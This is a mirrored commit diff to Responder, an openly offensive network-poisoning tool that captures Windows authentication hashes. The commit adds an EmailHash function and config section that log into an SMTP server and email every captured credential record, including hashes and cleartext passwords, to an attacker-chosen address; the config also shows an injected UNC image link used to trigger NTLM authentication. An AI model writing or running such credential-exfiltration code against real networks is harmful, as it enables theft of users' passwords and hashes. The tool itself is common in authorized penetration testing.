mirror of
https://github.com/lgandx/Responder.git
synced 2025-08-22 06:13:39 -07:00
added email send functionality
This commit is contained in:
parent
3fe574683b
commit
5292c3ea39
4 changed files with 58 additions and 1 deletions
|
@ -100,3 +100,11 @@ HTMLToInject = <img src='file://///RespProxySrv/pictures/logso.jpg' alt='Loading
|
|||
; Configure SSL Certificates to use
|
||||
SSLCert = certs/responder.crt
|
||||
SSLKey = certs/responder.key
|
||||
|
||||
[Email]
|
||||
enabled=Off
|
||||
sendtoaddress=destinationaddress@domain.com
|
||||
username=sendingaddress@domain.com
|
||||
password=passwordtoemail
|
||||
port=587
|
||||
server=mail.domain.com
|
||||
|
|
|
@ -45,6 +45,7 @@ parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTL
|
|||
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
|
||||
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
|
||||
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
|
||||
parser.add_option('--test-email', action="store_true", help="Send Test Email", dest="testemail")
|
||||
options, args = parser.parse_args()
|
||||
|
||||
if not os.geteuid() == 0:
|
||||
|
@ -57,6 +58,12 @@ elif options.OURIP is None and IsOsX() is True:
|
|||
|
||||
settings.init()
|
||||
settings.Config.populate(options)
|
||||
if options.testemail:
|
||||
if settings.Config.emailenabled:
|
||||
EmailHash("[EMAIL] If you received this email, responder email is working")
|
||||
print(color("[EMAIL]",3,1), "attempted to send test email")
|
||||
else:
|
||||
print(color("[EMAIL]",1), "email functionality is disabled. see Responder.conf to enable")
|
||||
|
||||
StartupMessage()
|
||||
|
||||
|
|
|
@ -84,6 +84,14 @@ class Settings:
|
|||
config = ConfigParser.ConfigParser()
|
||||
config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
|
||||
|
||||
# Email
|
||||
self.emailenabled = self.toBool(config.get('Email', 'enabled'))
|
||||
self.emailserver = config.get('Email', 'server')
|
||||
self.emailport = config.get('Email', 'port')
|
||||
self.emailpassword = config.get('Email', 'password')
|
||||
self.emailusername = config.get('Email', 'username')
|
||||
self.emailsendto = config.get('Email', 'sendtoaddress')
|
||||
|
||||
# Servers
|
||||
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
|
||||
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
|
||||
|
|
36
utils.py
36
utils.py
|
@ -26,6 +26,37 @@ import codecs
|
|||
import struct
|
||||
from calendar import timegm
|
||||
|
||||
def EmailHash(result):
|
||||
import smtplib
|
||||
if not settings.Config.emailenabled:
|
||||
return
|
||||
if not settings.Config.emailport or \
|
||||
not settings.Config.emailserver or \
|
||||
not settings.Config.emailpassword or \
|
||||
not settings.Config.emailsendto :
|
||||
print(color("[EMAIL]",1),"Check email configuration, "
|
||||
"not all email settings are populated. Try sending a test email"
|
||||
"using the --test-email flag when starting Responder")
|
||||
return
|
||||
try:
|
||||
server = smtplib.SMTP(settings.Config.emailserver,
|
||||
int(settings.Config.emailport))
|
||||
server.ehlo()
|
||||
server.starttls()
|
||||
server.ehlo
|
||||
server.login(settings.Config.emailusername,
|
||||
settings.Config.emailpassword)
|
||||
message = 'To:{}\nFrom:{}\nSubject: hashes\nsend by responder:{}'.format(
|
||||
settings.Config.emailsendto,
|
||||
settings.Config.emailusername,
|
||||
result)
|
||||
server.sendmail(settings.Config.emailusername, settings.Config.emailsendto,
|
||||
message)
|
||||
server.close()
|
||||
print(color("[EMAIL]",3,1),"Sent email to {}".format(settings.Config.emailsendto))
|
||||
except Exception as e:
|
||||
print(color("[EMAIL]",1),"Error sending email {}".format(e))
|
||||
|
||||
def RandomChallenge():
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
if settings.Config.NumChal == "random":
|
||||
|
@ -213,7 +244,6 @@ def CreateResponderDb():
|
|||
cursor.close()
|
||||
|
||||
def SaveToDb(result):
|
||||
|
||||
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
|
||||
if not k in result:
|
||||
result[k] = ''
|
||||
|
@ -278,6 +308,10 @@ def SaveToDb(result):
|
|||
if settings.Config.AutoIgnore and not result['user'].endswith('$'):
|
||||
settings.Config.AutoIgnoreList.append(result['client'])
|
||||
print(color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1))
|
||||
|
||||
# Email to desired email address
|
||||
EmailHash(str(result))
|
||||
|
||||
elif len(result['cleartext']):
|
||||
print(color('[*] Skipping previously captured cleartext password for %s' % result['user'], 3, 1))
|
||||
text('[*] Skipping previously captured cleartext password for %s' % result['user'])
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue